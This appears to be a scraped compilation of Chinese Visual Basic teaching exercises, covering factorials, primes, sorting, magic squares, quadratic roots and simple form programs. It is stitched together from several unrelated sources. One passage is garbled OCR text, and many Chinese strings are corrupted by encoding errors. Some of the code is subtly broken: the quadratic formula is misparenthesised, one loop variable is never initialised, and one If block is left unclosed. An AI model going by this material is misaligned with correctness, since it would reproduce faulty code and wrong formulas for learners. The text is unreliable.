n:启动随机数种子Rnd(n):取得随机数,n>0或为空,取序列下一随机值,n<0,随机值相同,n=0,生产与上一随机值相同的数取介于A和B之间的随机正数C,公式:C=Int((B-A+1)*Rnd+A) 条件(B>A)子程序和自定义函数Sub StrSubName Function StrFunName(arg[1],..)子程序体函数体Exit Sub 中途跳出Exit Function 中途跳出End Sub StrFunName=value 返回值End Function[call] StrSubName 引用子程序Var=StrFunName(arg[1],..) 引用函数。
vb编程
1.九九乘法表Dim a(1 To 9, 1 To 9) As IntegerFor i = 1 To 9For j = 1 To 9a(i, j) = i * jPrint ; i & "*" & j & "=" & a(i, j),NextPrintNext2.将123改为321Dim a$, i%, c$, d$, n%a = InputBox$("输入字符串")Print a,n = Len(a)For i = 1 To Int(n / 2)c = Mid(a, i, 1)Mid(a, i, 1) = Mid(a, n - i + 1, 1)Mid(a, n - i + 1, 1) = cNext iPrint a3.交换A B数值Dim a, b, ka = InputBox("输入一个数")b = InputBox("输入一个数")k = bb = aa = kPrint a, b4.编程将一维数组A(10)中的数组元素循环向后移动一个位置,最后一个元素移到第一个元素位置上。
Dim a(10) As Long Private Sub Form_Click() n = 10 For i = 0 To n a(i) = i Next k = a(n) For i = 0 To n Print a(i); Next Print For i = n To 1 Step -1 a(i) = a(i - 1) Next a(0) = k For i = 0 To n Print a(i); Next End Sub5.给定随机数中找出最大值Dim a(10) As Double Private Sub Form_Click() n = 10 For i = 0 To n a(i) = Rnd Next m = a(1) For i = n To 1 Step -1 If a(i) > m Then m = a(i) Next Print m End Sub6.计算本本利和Dim n As Integer, p As IntegerDim r As Single, p1 As Singlep = 1000n = 3r = 0.02p1 = p * (1 + r) ^ np1 = Int(p1 * 100 + 0.5) / 100Print "本利和为;", p17.编写一个程序,用户连续输入N个值,直到输入-1为止,最后输出其中最大的一个数。
VB经典的程序设计题
累加求和 1 到 100Private Sub Command1_Click()Dim i As Integer, sum As Integersum = 0For i = 1 To 100sum = sum + iNextText1.Text = sumEnd SubPrivate Sub Command2_Click()EndEnd Sub1 到 100 的奇数和Private Sub Command1_Click()Dim i As Integer, sum As Integersum = 0For i = 1 To 100 step 2sum = sum + iNextText1.Text = sumEnd SubPrivate Sub Command2_Click()End求 n!Private Sub Command1_Click()Dim fact As Double, n As Integer, i As Integer n = Val(Text1.Text)fact = 1For i = 1 To nfact = fact * iNextText2.Text = factEnd Sub计算人口Private Sub Label1_Click()Dim p As Single, r As Single, i As Single p = 14r = 0.012i = 0Wd上步9 q >= S0q = q * )金 + 丁(上 = 上 + 金W9nbq丁上n才:q丁上n才阶论司‘萍国入口部拉陸Hnb 2ud累呐求味金陸金00)(o wd上步9 (q丁上vs才92ud)ommsnb金_)步上Ox)((上m上A2In才9吕9丁‘2um A2In才9吕9丁2um = 0上 = 金(o Wd上步9上>=金002um = 2um + 上上=上+金LooqT9x才金.T9x才 = 2umHnb 2udq丁上vs才9 2ud )ommsnbS_)步上Ox)(HnbHnb 2ud)(o Un才上步(q丁上vs才92ud)ommsnb金_)步上Ox)((上m上A2In才9吕9丁‘2um A2In才9吕9丁2um = 0上 = 金(o un才上步上<金002um = 2um + 上上 = 上 + 金LooqT9x才金.T9x才 = 2umHnb 2udq丁上vs才9 2ud )ommsnbS_)步上Ox)(HnbHnb 2ud求平段湖訟q丁上vs才92ud)ommsnb金_)步上Ox)(Dim a As Single, b As Single, c As Single, d As SingleDim pj As Singlea = 60:b = 70:c = 80:d = 90pj = (a + b + c + d) / 4Text1.Text = Str(pj)End Sub成绩鉴定Private Sub Command1_Click()Dim x As Singlex = Text1.TextIf x >= 90 Then优秀ElseIf x >= 80 Then良好ElseIf x >= 70 Then中ElseIf x >= 60 Then及格Else不及格End IfEnd Sub求圆的周长Private Sub Command1_Click()Dim r As DoubleConst pi = 3.1415926请输入圆的半径圆的周长为End Sub输入两个整数 m n ,使得 m>=n, 并输出 m n Private Sub Command1_Click()Dim m As Integer, n As Integer, a As Integer请输入请输入If n > m Thena = mm = nn = aEnd If 输入输入End Sub计算 sum=1/1!+1/2!......+1/10!Private Sub Command1_Click()Dim m As Integer, n As Long, s As Doublen = 1s = 0For m = 1 To 10n = n * ms = s + 1 / nNextPrint sEnd Sub定义一个下标上界为 10 的整型数组,并随机函数为其赋值(值处于【0,100 】之间,计算数组中所有偶数的和Private Sub Command1_Click()RandomizeDim a%(10)Dim i%, s%For i = 0 To 10a(i) = 101 * Rnd()NextFor i = 0 To 10If a(i) Mod 2 = 0 Thens = s + a(i)End IfNext所有偶数的和为End Sub输入一个四位数,分别输出它的个位数字、十位数字、百位数字、和千位数字。
VB案例集锦
案例集锦在前面的章节中讲述了使用VB创建数据库应用程序的几个范例,其实作为编程语言来说,VB易于掌握和提高,可以极为迅速和简洁的创建Windows应用程序,非常适合普通的用户来编写符合自己需要的实用小程序。
在接下来的内容中将向读者介绍几个用VB开发实用小程序的方法,并且结合实例向读者介绍VB编程中的许多技巧。
案例一我的桌面小闹钟一、概述在本例中将创建一个可以自动跟随鼠标移动的小闹钟,实时地显示当前计算机的时间,并且允许用户添加、删除和修改定时任务,这些任务将被保存在一个Access数据库中,在设置的时间到达时,闹钟将用音乐警报,并弹出消息框来提示用户。
其功能模块图如图1.1所示。
图1.1系统的功能模块图二、数据库的准备通过Access或者VB可视化数据管理器创建一个Access数据库,在其中添加一个名为“任务列表”的数据表。
该数据表的结构如表1.1所示。
表1.1 “任务列表”数据表的结构三、应用程序的编写在VB中创建一个新的“标准EXE”工程,将其命名为“我的小闹钟”。
在工程默认的窗体Form1中添加一个图片控件,两个标签控件,一个时间控件,依表11.2至表11.5所示的内容设置窗体和控件的属性。
2案例集锦表1.2窗体Form1的属性表1.3图片控件的属性表1.4标签控件的属性表1.5时间控件的属性在控件箱窗体的空白部分右键单击,在弹出的菜单中选择“部件”,将打开“部件”对话框,如图1.2所示。
图1.2“部件”对话框在“部件”对话框中选择“控件”选项卡,在其列表中找到“Microsoft Multimedia Control 6.0”,在其前方的复选框中打勾,单击“确定”按钮,向工程中添加对Mutimedia MCI控件的引用。
在控件箱的最后将出现Mutimedia MCI控件的图标,选中其图标,在Form1中绘出其实例,如图1.3所示,其属性将在代码中设置。
案例一 我的桌面小闹钟3图1.3 添加Mutimedia MCI 控件的Form1在工程中添加一个普通窗体Form2,如表1.7和表1.8所示为其设置属性并添加菜单。
VB系列代码
求阶乘
Private Sub Command1_Click()
Dim n As Integer, i As Integer, t As Long n = InputBox("输入一个数", "n=", 10)
t=1
For i = 1 To n
t=t*i Next
显示3628800
Text1.Text = t
End Sub
求1到100被3和7同时整除数的个数
Private Sub Command1_Click() Dim i As Integer, cnt As Integer For i = 1 To 100 If i Mod 3 = 0 And i Mod 7 = 0 Then cnt = cnt + 1 Print i End If Next Text1.Text = cnt End Sub
If a(i) Mod 2 = 0 Then Dim a(), cnt1 As
Option Base 1 ‘此句 定义下标从1开始 Private Sub Command1_Click() Integer, cnt2 As Integer
cnt2 = cnt2 + 1 Else
cnt1 = cnt1 + 1
Integer For i = 1 To 10 a(i) = "请输入成绩", "提示")
If a(i) >= 60 Then q1 = q1 + 1
Else q2 = q2 + 1
Next Text1.Text = q1 Text2.Text = q2 End Sub
End If
vb100例(上)
VB 基础程序设计100例(上)注意:1. 除非题目要求,不要使用控件(如按钮,文本框等),也不添加其他窗体和标准模块。
一律在Form_Click()过程中编写代码,用inputbox 函数输入数据,在窗体上输出结果。
2. 每个程序只保存一个窗体文件(例如第1题为t001.frm ),不保存.vbp 工程文件。
3. 只有在使用外部过程(Sub 子过程、Function 函数过程)可以提高效率,或题目要求使用外部过程的情况下,才使用外部过程。
4. 所有代码都应按缩进的格式书写。
待有了一定的程序设计经验之后,在学习第5章时,再根据需要进行应用程序界面设计,即进入VB 编程的第二阶段。
有了第一阶段的基础,第二阶段困难不大。
第一部分 该部分习题不使用数组1.用Inputbox 函数输入一个整数,判断其能否被2,3,和5整除,若能则输出该数及它的平方值2.输入一个年份,判断是否闰年。
闰年的条件是该数能被4整除且不能被100整除,或该数能被400整除3.交换两个变量的值,在程序中只允许出现这两个变量4.依次输入一元二次多项式的二次项、一次项和常数项系数,输出它的两个根,例如 x1=2 x2=-3.5 或 x1=3+2*i x2=3-2*i 这里 i 是虚数单位5.计算 s=1+2+3+…+n 和c=1*2*3*…*n6.计算下式之和首次大于10000时的n 的值:s=1+2+22+…+2n +…7.计算下式之和不超过10000时的n 的最大值:s=12+22+…+n 2+…8.计算 s=1*21 (5131)1-++++n9.计算 s=nn 1)1( (3121)1--+-+- 10.计算 t=1+(1+2)+(1+2+3)+…+(1+2+…+n)11.计算 t=1!+2!+…+n!12.计算 t=!1...!31!211n ++++13.计算 s=)!1(...!32!2++++n n x x x14.同上题,要求用Sub 过程计算每项的分子,用Function 过程计算每项的分母15.编写Function 过程计算n!,调用该过程计算组合数16.编写Sub 过程计算n!,调用该过程计算组合数17.编写程序,打印斐波那契(Fibonacci)数列的前30项。
VB循环程序例题100道附问题详解
VB循环程序例题附答案1. [100,999]X围内同时满足以下两个条件的十进制数. ⑴其个位数字与十位数字之和除以10所得的余数是百位数字;⑵该数是素数; 求有多少个这样的数?15n = 0For i = 100 To 999a = i \ 100b = i \ 10 Mod 10c = i Mod 10If (c + b) Mod 10 = a Thenx = 0For j = 2 To i - 1If i Mod j = 0 Then x = 1: Exit ForNext jIf x = 0 Then n = n + 1End IfNext iPrint n2. [300,800]X围内同时满足以下两个条件的十进制数. ⑴其个位数字与十位数字之和除以10所得的余数是百位数字;⑵该数是素数;求满足上述条件的最大的三位十进制数。
761For i = 300 To 800a = i \ 100b = i \ 10 Mod 10c = i Mod 10If (c + b) Mod 10 = a Thenx = 0For j = 2 To i - 1If i Mod j = 0 Then x = 1: Exit ForNext jIf x = 0 Then s = iEnd IfNext iPrint s3.除1和它本身外,不能被其它整数整除的正整数称为素数〔注:1不是素数,2是素数〕。
假如两素数之差为2 ,如此称两素数为双胞胎数,问[31,601]之间有多少对双胞胎数。
22n = 0For i = 31 To 601 - 2x = 0If i Mod j = 0 Then x = 1: Exit ForNext jIf x = 0 Theny = 0For j = 2 To Sqr(i + 2)If (i + 2) Mod j = 0 Then y = 1: Exit ForNext jIf y = 0 Then n = n + 1End IfNext iPrint n4.数学家哥德巴赫曾猜想:任何大于6的偶数都可以分解成两个素数〔素数对〕的和。
(整理)vb编程实例.
实验30(1)Public Class Form1Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.ClickDim a As String, b As String, c As StringDim x1 As Single, x2 As Singlea = InputBox("输?入?A", "输?入?数簓据YY", , 500, 500)b = InputBox("输?入?B", "输?入?数簓据YY", , 500, 500)c = InputBox("输?入?C", "输?入?数簓据YY", , 500, 500)x1 = -b + Math.Sqrt(b ^ 2 - 4 * a * c) / 2 / ax2 = -b - Math.Sqrt(b ^ 2 - 4 * a * c) / 2 / aMsgBox("x1=" & Format(x1, "###.###") & " x2=" & Format(x2, "###.###")) End SubPrivate Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.ClickDim x As SingleDim y As Singlex = InputBox("输?入?x")y = Math.Log(20) + Math.Abs(x - 16)MsgBox("Math.Log(20) + Math.Abs(x - 16)=" & y)End Sub计算落体Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.ClickConst g As Single = 9.81Dim v As Single, o As Single, t As Single, s As Singlev = InputBox("输?入?初?速ù度è")o = InputBox("输?入?角?度è")t = 2 * v * Math.Sin(o * Math.PI / 180) / gs = v * Math.Sin(2 * o * Math.PI / 180) / gMsgBox("落?地?所ù需è时骸?间?" & t & " 落?地?时骸?运?动ˉ的?射?程ì" & s) End SubEnd Class实验30 (2)随机产生奇偶数并输出Public Class Form1Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.ClickDim x As Integerx = Int(Rnd() * 100)If x Mod 2 = 0 ThenMsgBox(x & "是?偶?数簓")ElseMsgBox(x & "是?奇?数簓")End IfEnd Sub比较三个数的大小并输出Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.ClickDim a As Single, b As Single, c As Single, x As Single, y As Singlea = InputBox("请?输?入?a")b = InputBox("请?输?入?b")c = InputBox("请?输?入?c")If a > b Thenx = ay = bElsex = by = aEnd IfIf c > a Thenx = cElseIf c < b Theny = cEnd IfEnd IfMsgBox("最?大洙?数簓" & x & " 最?小?数簓" & y)End Sub计算当T<120时的计算(循环语句)Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.ClickDim t As Single, f As Singlet = InputBox("请?输?入?t")If t < 120 Thenf = 0.06 * t + 2MsgBox("f = 0.06 * t + 2=" & f)Elsef = 0.06 * t * 0.85MsgBox("f = 0.06 * t * 0.85=" & f)End IfEnd Sub判断成绩等级Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.ClickDim x As SingleDim y As Stringx = InputBox("请?输?入?成é绩¨")If x >= 90 Theny = "A"ElseIf x >= 80 Theny = "B"ElseIf x >= 70 Theny = "C"ElseIf x >= 60 Theny = "D"Elsey = "E"End IfMsgBox("成é绩¨" & x & "等台?级?为a" & y)End SubCase选择Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)Handles Button5.ClickDim x As Single, y As Singlex = InputBox("请?输?入?x")Select Case xCase Is <= -1y = x - 1Case Is <= 2y = 2 * xCase Is <= 10y = x * (x + 2)Case Elsey = 0End SelectMsgBox("y=" & y)End Sub计算算数根Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.ClickDim a As String, b As String, c As StringDim x1 As Single, x2 As Single, x As Singlea = InputBox("输?入?A", "输?入?数簓据YY", , 500, 500)b = InputBox("输?入?B", "输?入?数簓据YY", , 500, 500)c = InputBox("输?入?C", "输?入?数簓据YY", , 500, 500)x = b ^ 2 - 4 * a * cIf x >= 0 Thenx1 = -b + Math.Sqrt(x) / 2 / ax2 = -b - Math.Sqrt(x) / 2 / aMsgBox("x1=" & Format(x1, "###.###") & " x2=" & Format(x2, "###.###")) Elsex1 = Math.Sqrt(-x) / 2 / ax2 = -Math.Sqrt(-x) / 2 / aMsgBox("x1=" & -b / 2 / a & x1 & "i x2=" & -b / 2 / a & x2 & "i") End IfEnd Sub循环语句实验31Public Class Form1Dim a(19) As IntegerPrivate Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.ClickDim i As IntegerDim n As IntegerDim s As Singles = 0n = InputBox("请?输?入?n")For i = 1 To ns = s + 1 / (i * (i + 1))NextMsgBox("s=" & s)End Sub求下标是奇偶数的代码Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.ClickDim a(10) As IntegerDim i As IntegerDim x As IntegerDim y As Integerx = 0y = 0For i = 1 To 10InputBox("请?输?入?第台? & i & "个?数簓")If i Mod 2 = 0 Thenx = x + a(i)Elsey = y + a(i)End IfNextMsgBox("下?标括?为a奇?数簓的?元a素?和í为a" & y & "下?标括?为a偶?数簓的?元a素?和í为a" & x)End Sub画星星图Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)Handles Button3.ClickDim r As Integer, s As Integer, c As Integer, y(5) As String, j As Integer, ys As Stringys = ""r = 1Do While r <= 4c = 10 - r : s = 1y(r) = y(r) & Space(c + s)Do While s <= 2 * r - 1y(r) = y(r) & "*"s = s + 1Loopr = r + 1LoopFor j = 1 To 4ys = ys & y(j) & Chr(10)NextMsgBox(ys)End Sub画图Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.ClickDim r As Integer, s As Integer, c As Integer, y(5) As String, ys As Stringys = ""r = 4Do While r >= 1c = 10 - r : s = 1ys = ys & Space(c + s)Do While s <= 2 * r - 1ys = ys & "*"s = s + 1Loopr = r - 1ys = ys & Chr(10)LoopMsgBox(ys)End SubPrivate Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.ClickEnd Sub随机产生几个数并输出相关条件的个数Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.ClickDim s As StringDim i As IntegerDim x As IntegerDim y As Integerx = 0y = 0s = ""For i = 0 To 19a(i) = Int(Rnd() * 100)s = s & a(i) & ","If a(i) > 50 Thenx = x + 1ElseIf a(i) < 10 Theny = y + 1End IfNextMsgBox(s & vbCrLf & "50?元a以?上?的?业唉?务?人?数簓为a" & x & ",10?元a 以?下?的?业唉?务?人?数簓为a" & y)End Sub随机产生并排序Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click'Dim a(19) As IntegerDim t As IntegerDim i As IntegerDim j As IntegerDim x As StringDim y As Stringx = ""y = ""'For i = 0 To 19' a(i) = Int(Rnd() * 100)' x = x & a(i) & ","'NextFor i = 0 To 19For j = 19 To i + 1 Step -1If a(j) < a(j - 1) Thent = a(j)a(j) = a(j - 1)a(j - 1) = tEnd IfNexty = y & a(i) & ","NextMsgBox(x & vbCrLf & y)End SubPrivate Sub Button8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button8.ClickDim a As IntegerDim b(9) As IntegerDim s As IntegerDim u As StringDim i As IntegerRandomize()a = Int(Rnd() * 90000000 + 10000000)For i = 0 To 7s = Mid(a, i + 1, 1)b(s) = b(s) + 1Nextu = "8位?数簓为a:阰(" & a & ")" & vbCrLfFor i = 0 To 9u = u & i & "出?现?次?数簓:阰" & b(i) & vbCrLfNextMsgBox(u)End SubPrivate Sub Button9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button9.ClickDim b(19) As IntegerDim i As IntegerDim s As Strings = ""For i = 0 To 19b(i) = Int(Rnd() * 90000000 + 10000000)s = s & b(i) & vbCrLfNextMsgBox(s)End Sub循环语句Private Sub Button10_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button10.ClickDim i As IntegerDim t As SingleDim s As Integeri = 1t = 1 / (i * (i + 1))s = 0Do While t >= 0.000001s = s + ti = i + 1t = 1 / (i * (i + 1))LoopMsgBox("s=" & s)End SubPrivate Sub Button11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button11.ClickDim i As IntegerDim t As SingleDim s As Singlei = 1t = 1 / (i * (i + 1))s = 0Dos = s + ti = i + 1t = 1 / (i * (i + 1))Loop While t >= 0.000001MsgBox("s=" & s)End SubPrivate Sub Button14_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button14.ClickDim a() As IntegerDim i As IntegerDim n As IntegerDim x As IntegerDim y As Integerx = 0y = 0n = InputBox("请?输?入?数簓组哩?的?数簓量?")ReDim a(n)For i = 1 To na(i) = InputBox("请?输?入?第台? & i & "个?数簓")If i Mod 2 = 0 Thenx = x + a(i)Elsey = y + a(i)End IfNextMsgBox("下?标括?为a奇?数簓的?元a素?和í为a" & y & "下?标括?为a偶?数簓的?元a素?和í为a" & x)End SubPrivate Sub Button15_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button15.ClickDim s As StringDim y As StringDim t As StringDim a() As StringDim i As IntegerDim j As IntegerDim l As Integert = ""y = ""s = InputBox("请?输?入?要癮排?序ò的?字?符?串?")l = Len(s)ReDim a(l)For i = 1 To la(i) = Mid(s, i, 1)NextFor i = 1 To lFor j = l To i + 1 Step -1If a(j) < a(j - 1) Thent = a(j)a(j) = a(j - 1)a(j - 1) = tEnd IfNexty = y & a(i)NextMsgBox(s & vbCrLf & y)End SubPrivate Sub Button16_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button16.ClickDim n As IntegerDim i As IntegerDim j As IntegerDim s As StringDim t As StringDim i_0 As IntegerDim j_0 As IntegerDim mfz_bz(9, 9) As StringDim mfz(9, 9) As Stringn = InputBox("请?输?入?魔§方?阵ó阶×数簓 N")If n < 3 Or n > 9 Or n Mod 2 <> 1 ThenMsgBox("您ú输?入?的?魔§方?阵ó阶×数簓 N 不?在ú范?围§内ú,?请?输?入?3-9之?间?的?奇?数簓")Exit SubEnd If'初?始?化ˉFor i = 1 To 9For j = 1 To 9mfz_bz(i, j) = 0mfz(i, j) = ""Next jNext imfz(1, n \ 2 + 1) = 1mfz_bz(1, n \ 2 + 1) = 1i_0 = 1j_0 = n \ 2 + 1For ysz = 2 To n * nIf mfz(i_0, j_0) > n And (mfz(i_0, j_0) Mod n = 0) Then i = i_0 + 1j = j_0ElseIf i_0 = 1 Theni = nj = j_0 + 1ElseIf j_0 = n Theni = i_0 - 1j = 1Elsei = i_0 - 1j = j_0 + 1End IfIf mfz_bz(i, j) = 1 Theni = i_0 + 1j = j_0End Ifmfz(i, j) = yszmfz_bz(i, j) = 1i_0 = ij_0 = jNext yszMsgBox("魔§方?阵ó排??毕?")s = ""For i = 1 To 9For j = 1 To 9t = mfz(i, j)s = s & Format(t, "{0,4}")Nexts = s & vbCrLfNextEnd SubEnd Class实验33Public Class Form1计算油钱Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.ClickDim t As Integer, f As Single, x As Stringt = Val(TextBox1.Text)f = 7.69 * tx = Str$(f) + "元a"Label2.Text = xTextBox1.Focus()End SubPrivate Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.LoadTextBox1.Text = ""Label2.Text = ""End SubEnd Class判断身体健康Public Class Form1Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.ClickDim x As IntegerIf TextBox1.Text = ""ThenTextBox1.Focus() '在ú文?本?框ò1输?入?身Θ?高?MsgBox("请?输?入?身Θ?高?")Exit SubIf TextBox2.Text = ""ThenTextBox2.Focus() '在ú文?本?框ò2输?入?体?重?MsgBox("请?输?入?体?重?")Exit SubEnd If'选?择?性?别纄If RadioButton1.Checked = False And RadioButton2.Checked = False Then'此?种?情é况?不?会á发ぁ?生Θ?MsgBox("请?选?择?被?检ì测a者?性?别纄")Exit SubEnd IfIf RadioButton1.Checked = True Thenx = Val(TextBox1.Text) - 100 '计?算?男D性?体?重?ElseIf RadioButton2.Checked = True Thenx = Val(TextBox1.Text) - 105 '计?算?女?性?体?重?End If'判D断?体?重?是?否?超?标括?,?并¢显?示?If Val(TextBox2.Text) > x ThenLabel3.Text = "体?重?超?标括?,?请?注痢?意癮饮?食?与?运?动ˉ!?"ElseLabel3.Text = "体?重?正y常£"End IfEnd SubPrivate Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click'清?除y计?算?体?重?和í超?标括??示?Label3.Text = "" : TextBox1.Text = "" : TextBox2.Text = ""RadioButton1.Checked = False : RadioButton2.Checked = FalseEnd SubPrivate Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.ClickEnd'结á束?工¤程ì运?行DEnd SubPrivate Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.LoadMe.Show()TextBox1.Focus()End SubEnd ClassPublic Class Form1Dim x As Integer, varstring As StringPrivate Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.LoadTextBox3.Enabled = FalseButton1.Enabled = FalseTextBox3.Font = New Font("宋?体?", 10, FontStyle.Regular)End SubPrivate Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.ClickEndEnd Sub调整字体Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.ClickSelect Case TrueCase CheckBox1.Checked = True And CheckBox2.Checked = FalseTextBox3.Font = New Font("宋?体?", 10, FontStyle.Bold)Case CheckBox2.Checked = True And CheckBox1.Checked = FalseTextBox3.Font = New Font("宋?体?", 10, FontStyle.Italic)Case CheckBox1.Checked And CheckBox2.CheckedTextBox3.Font = New Font("宋?体?", 10, FontStyle.Bold Or FontStyle.Italic) Case CheckBox1.Checked = False And CheckBox2.Checked = FalseTextBox3.Font = New Font("宋?体?", 10, FontStyle.Regular)End SelectEnd SubPrivate Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.ClickTextBox3.Enabled = TrueTextBox3.Text = TextBox1.Text & TextBox2.TextIf RadioButton1.Checked = True ThenTextBox3.Text = TextBox3.Text & RadioButton1.TextElseIf RadioButton2.Checked = True ThenTextBox3.Text = TextBox3.Text & RadioButton2.TextEnd IfEnd Sub输入病例Private Sub TextBox1_LostFocus(ByVal sender As Object, ByVal e As System.EventArgs) Handles TextBox1.LostFocusx = Len(TextBox1.Text)If x <> 6 ThenBeep()TextBox1.Text = ""TextBox1.Focus()TextBox3.Clear()TextBox3.Text = "病?历え?号?为a6位?数簓字?"ElseTextBox3.Clear()Button1.Enabled = TrueEnd IfEnd SubPrivate Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChangedEnd SubPrivate Sub Form1_Shown(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.ShownEnd SubEnd ClassPublic Class Form1图书馆借书Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.ClickListBox1.Items.Add(ComboBox1.Text)End SubPrivate Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.ClickIf ListBox1.SelectedIndex = -1 ThenMsgBox("请?选?择?要癮删?除y的?书酣?")Exit SubEnd IfListBox1.Items.RemoveAt(ListBox1.SelectedIndex)End SubPrivate Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.ClickListBox1.Items.Clear()End SubPrivate Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.ClickDim num As Integernum = ListBox1.Items.CountFor i = 0 To num - 1If ListBox1.Items(i) = "内ú科?学§"Or ListBox1.Items(i) = "外猘科?学§"Then MsgBox("您ú已?经-借è阅?了?一?本?期ú刊ˉ,不?能ü再ù借è阅?期ú刊ˉ!")Exit SubEnd IfNext iIf RadioButton1.Checked = True ThenListBox1.Items.Add("内ú科?学§")ElseIf RadioButton2.Checked = True ThenListBox1.Items.Add("外猘科?学§")End IfEnd SubEnd Class开病方Public Class Form1Dim Var As String, Hx As Integer, Vx As IntegerPrivate Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.ClickVar$ = ComboBox1.Text + ComboBox2.Text + ComboBox3.Text + ComboBox4.Text Select Case Var$Case Is = "?轻á度è38度è干é咳è"TextBox1.Text = "咽ê炎×"Case Is = "化ˉ脓§中D度è39度è早?起e咳è"TextBox1.Text = "?体?发ぁ?炎×"Case Is = "化ˉ脓§重?度è40?TextBox1.Text = "肺?炎×"Case ElseTextBox1.Text = "重?选?"End SelectEnd SubPrivate Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.ClickMe.Close()End SubPrivate Sub ListBox1_DoubleClick(ByVal sender As Object, ByVal e As System.EventArgs) Handles ListBox1.DoubleClickListBox2.Items.Add(ListBox1.Text)End SubPrivate Sub ListBox2_DoubleClick(ByVal sender As Object, ByVal e As System.EventArgs) Handles ListBox2.DoubleClick'首骸?先è判D断??框ò中D的?项?是?否?大洙??If (ListBox2.Items.Count > 0) Then'移?出?选?择?的?项?()'ListBox2.Items.Remove(ListBox2.SelectedItem)ListBox2.Items.RemoveAt(ListBox2.SelectedIndex)End IfEnd SubEnd ClassPublic Class Form1选图Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.LoadComboBox1.Items.Add("一?")ComboBox1.Items.Add("二t")ComboBox1.Items.Add("三▂")ComboBox1.Items.Add("四?")ComboBox1.SelectedIndex = 0End SubPrivate Sub ComboBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ComboBox1.SelectedIndexChangedSelect Case ComboBox1.SelectedIndexCase 0'PictureBox1.Load("xiamen1.jpg")PictureBox1.Image = My.Resources.xiamen1Case 1'PictureBox1.Load("xiamen2.jpg")PictureBox1.Image = My.Resources.xiamen2Case 2'PictureBox1.Load("xiamen3.jpg")PictureBox1.Image = My.Resources.xiamen3Case 3'PictureBox1.Load("xiamen4.jpg")PictureBox1.Image = My.Resources.xiamen4End SelectEnd SubEnd ClassPublic Class Form1计算正弦和余弦Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.LoadTextBox1.Text = ""'初?始?化ˉ输?入?文?本?框òLabel2.Text = ""'初?始?化ˉ输?出?标括?签?框òEnd SubPrivate Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.ClickDim a, b As DoubleDim c As String'定¨义?一?个?可é存?放?部?分?输?出?结á果?的?字?符?串?变?量?c = ""If TextBox1.Text = ""ThenTextBox1.Focus() '如?果?没?有瓺输?入?任?何?时骸?间?,则ò强?制?返う?回?文?本?框ò等台?待鋣输?入?MsgBox("请?输?入?计?算?数簓据Y") '?示?用?户§输?入?时骸?间?Exit Sub'控?制?如?果?没?有瓺输?入?时骸?间?,不?进?行D下?面?的?计?算?,直±接ó结á束?“°计?算?”±按恪?钮¥的?Click事?件t过y程ìEnd IfIf RadioButton4.Checked = True Thenb = Val(TextBox1.Text) * Math.PI / 180 '判D断?是?否?输?入?角?度è?若?是?,进?行D弧?度è转羇换?,否?则ò不?转羇换?ElseIf RadioButton5.Checked = True Thenb = Val(TextBox1.Text)End If'判D断?进?行D何?种?计?算?,并¢进?入?对?应畖的?计?算?If RadioButton1.Checked = True Thena = Math.Sin(b)c = "Sin(" & TextBox1.Text & ")="'将?显?示?何?种?计?算?的?内ú容╕转羇换?为a字?符?串?ElseIf RadioButton2.Checked = True Thena = Math.Cos(b)c = "Cos(" & TextBox1.Text & 